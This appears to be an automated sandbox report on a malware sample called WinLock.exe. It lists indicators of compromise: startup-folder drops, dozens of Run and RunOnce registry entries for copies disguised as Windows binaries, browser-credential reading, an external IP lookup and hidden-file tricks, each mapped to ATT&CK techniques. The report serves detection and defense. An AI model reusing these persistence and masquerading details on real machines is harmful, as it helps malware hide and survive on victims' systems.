677dd9b1eedf53107fdf25be352a13f3ef3c7a7ccc7089f5febbf4251257b0ed

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe	WinLock.exe

Executes dropped EXE 64 IoCs

pid	Process
7272	dplaysvr.exe
7280	regedit.exe
4088	stordiag.exe
10112	stordiag.exe
10780	UserAccountBroker.exe
5572	proquota.exe
14068	setupugc.exe
9984	SystemPropertiesDataExecutionPrevention.exe
8900	autochk.exe
15192	psr.exe
15624	regedit.exe
1260	dplaysvr.exe
5856	setup.exe
5728	sfc.exe
16036	psr.exe
5152	cipher.exe
6040	svchost.exe
9528	eventvwr.exe
11724	svchost.exe
7044	setup.exe
15696	SystemPropertiesHardware.exe
15460	InfDefaultInstall.exe
11808	reg.exe
8036	wiaacmgr.exe
11160	svchost.exe
8372	stordiag.exe
9520	reg.exe
13120	proquota.exe
14252	msinfo32.exe
16068	convert.exe
2676	RmClient.exe
16092	SystemPropertiesDataExecutionPrevention.exe
9876	eventvwr.exe
9916	SystemPropertiesHardware.exe
4512	wiaacmgr.exe
11420	stordiag.exe
1444	wiaacmgr.exe
1364	eventvwr.exe
6600	esentutl.exe
15728	Utilman.exe
13792	dplaysvr.exe
13036	TSTheme.exe
15420	proquota.exe
15072	SystemPropertiesDataExecutionPrevention.exe
7276	iexpress.exe
12256	ctfmon.exe
15676	wiaacmgr.exe
10344	fc.exe
15648	rundll32.exe
12812	psr.exe
11572	ctfmon.exe
13984	reg.exe
4320	svchost.exe
13728	WerFault.exe
14712	sfc.exe
3984	WerFault.exe
6620	rundll32.exe
12364	vcredist_x86.exe
12336	find.exe
16224	SndVol.exe
6084	fc.exe
11144	eventvwr.exe
10044	setup.exe
15900	mspaint.exe

Modifies file permissions 1 TTPs 2 IoCs

File and Directory Permissions Modification

T1222

pid	Process
12540	icacls.exe
9632	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UserAccountBroker_18 = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\UserAccountBroker.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesDataExecutionPrevention_23 = "\"C:\\ProgramData\\USOShared\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\SystemPropertiesDataExecutionPrevention.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexpress_6 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Sun\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\iexpress.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mspaint_7 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\acrocef_low\\Logs\\UpdateCache\\UpdateCache\\mspaint.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unlodctr_32 = "\"C:\\Users\\Admin\\AppData\\Local\\Google\\Logs\\UpdateCache\\unlodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\reg_20 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\UpdateCache\\reg.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SystemPropertiesDataExecutionPrevention_13_Once = "\"C:\\ProgramData\\USOShared\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\SystemPropertiesDataExecutionPrevention.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mavinject_13 = "\"C:\\ProgramData\\MicrosoftService\\mavinject.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TCPSVCS_32 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\TCPSVCS.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost_4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\svchost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchost_19_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Windows.WARP.JITService_25_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\\Logs\\UpdateCache\\UpdateCache\\Windows.WARP.JITService.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RmClient_31 = "\"C:\\Users\\Admin\\AppData\\Roaming\\GroupRequest\\Logs\\UpdateCache\\RmClient.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cttunesvr_15_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\cttunesvr.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows.WARP.JITService_25 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\\Logs\\Windows.WARP.JITService.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msinfo32_5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Low\\Logs\\UpdateCache\\UpdateCache\\msinfo32.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchost_9_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fc_25 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Outlook Logging\\Logs\\UpdateCache\\UpdateCache\\fc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fc_12 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Outlook Logging\\Logs\\UpdateCache\\fc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Utilman_22 = "\"C:\\Users\\Admin\\AppData\\Local\\Mozilla\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\Utilman.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\finger_26 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\finger.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unlodctr_12 = "\"C:\\Users\\Admin\\AppData\\Local\\Google\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\unlodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesHardware_22 = "\"C:\\Users\\Admin\\AppData\\Local\\Publishers\\Logs\\UpdateCache\\SystemPropertiesHardware.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost_18 = "\"C:\\ProgramData\\Microsoft OneDrive\\Logs\\UpdateCache\\SearchProtocolHost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LaunchWinApp_5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\\Logs\\UpdateCache\\LaunchWinApp.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RMActivate_32 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\RMActivate.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\gpresult_31_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\InstallOptimize\\Logs\\UpdateCache\\gpresult.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rundll32_20 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scoped_dir4172_1781407160\\Logs\\rundll32.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\notepad_5_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\\Logs\\notepad.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\unlodctr_7_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Google\\Logs\\UpdateCache\\UpdateCache\\unlodctr.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SyncHost_22 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\SyncHost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\gpresult_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\InstallOptimize\\Logs\\UpdateCache\\UpdateCache\\gpresult.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost_24 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\regedt32_28 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesHardware_12 = "\"C:\\Users\\Admin\\AppData\\Local\\Publishers\\Logs\\SystemPropertiesHardware.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\windowsdesktop-runtime-7.0.16-win-x64_13_Once = "\"C:\\ProgramData\\Package Cache\\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\\UpdateCache\\windowsdesktop-runtime-7.0.16-win-x64.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Utilman_32 = "\"C:\\Users\\Admin\\AppData\\Local\\Mozilla\\Logs\\UpdateCache\\Utilman.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\msinfo32_15_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Low\\Logs\\UpdateCache\\msinfo32.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost_4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\RdpSaUacHelper_23_Once = "\"C:\\ProgramData\\MicrosoftService\\UpdateCache\\RdpSaUacHelper.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\RpcPing_5_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2339319777\\Logs\\UpdateCache\\RpcPing.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesDataExecutionPrevention_18 = "\"C:\\ProgramData\\USOShared\\Logs\\UpdateCache\\SystemPropertiesDataExecutionPrevention.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\find_1_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\Mozilla\\Logs\\UpdateCache\\find.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Utilman_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Mozilla\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\Utilman.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\VC_redist.x64_3_Once = "\"C:\\ProgramData\\Package Cache\\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\\UpdateCache\\UpdateCache\\UpdateCache\\VC_redist.x64.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\reg_10 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\Logs\\reg.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost_14 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\svchost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ntprint_13 = "\"C:\\ProgramData\\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\\Logs\\UpdateCache\\ntprint.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sfc_6 = "\"C:\\Users\\Admin\\AppData\\Roaming\\WaitSync\\Logs\\UpdateCache\\UpdateCache\\sfc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost_4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cttunesvr_10 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\UpdateCache\\UpdateCache\\cttunesvr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sort_8 = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\UpdateCache\\sort.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\regedit_2 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\regedit.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\dplaysvr_13_Once = "\"C:\\ProgramData\\MicrosoftService\\dplaysvr.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchost_29_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\svchost.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\UserAccountBroker_13_Once = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\UserAccountBroker.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\odbcad32_3 = "\"C:\\ProgramData\\MicrosoftService\\odbcad32.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\stordiag_31 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UseHide\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\stordiag.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\LaunchWinApp_5_Once = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\\Logs\\UpdateCache\\LaunchWinApp.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\finger_31_Once = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\UpdateCache\\finger.exe\" --startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RdpSaUacHelper_8 = "\"C:\\ProgramData\\MicrosoftService\\RdpSaUacHelper.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemPropertiesHardware_17 = "\"C:\\Users\\Admin\\AppData\\Local\\Publishers\\Logs\\UpdateCache\\SystemPropertiesHardware.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
13	api.ipify.org

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
11684	cmd.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4588	cmd.exe
2292	cmd.exe
2304	cmd.exe
4468	cmd.exe
4448	cmd.exe
4836	cmd.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6720	cmd.exe
8524	Process not Found
13688	Process not Found
12620	Process not Found
7576	Process not Found
13104	Process not Found
4000	Process not Found
10112	Process not Found
10744	Process not Found
15920	cmd.exe
12952	Process not Found
13200	Process not Found
13256	Process not Found
12160	Process not Found
316	Process not Found
11968	cmd.exe
11732	cmd.exe
5304	Process not Found
9692	Process not Found
6328	Process not Found
15816	cmd.exe
6980	Process not Found
15264	Process not Found
15296	Process not Found
5648	Process not Found
14116	cmd.exe
10888	Process not Found
15980	Process not Found
14984	Process not Found
6920	cmd.exe
7488	Process not Found
8016	Process not Found
16248	Process not Found
12832	cmd.exe
12200	Process not Found
3340	cmd.exe
6932	Process not Found
8124	Process not Found
7052	Process not Found
14912	Process not Found
10864	Process not Found
7140	cmd.exe
12652	cmd.exe
11872	cmd.exe
7360	cmd.exe
15156	Process not Found
3012	Process not Found
6028	Process not Found
15860	Process not Found
14056	Process not Found
5864	Process not Found
6768	cmd.exe
15392	cmd.exe
7136	Process not Found
9524	Process not Found
7464	Process not Found
8204	Process not Found
7524	cmd.exe
8472	Process not Found
12000	Process not Found
14384	Process not Found
1612	cmd.exe
9308	Process not Found
4356	Process not Found

Program crash 5 IoCs

pid	pid_target	Process	procid_target
8028	11724	WerFault.exe
8284	11144	WerFault.exe	529
4220	5348	WerFault.exe	205
14632	5200	WerFault.exe
6952	9664	WerFault.exe	1614

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	convert.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
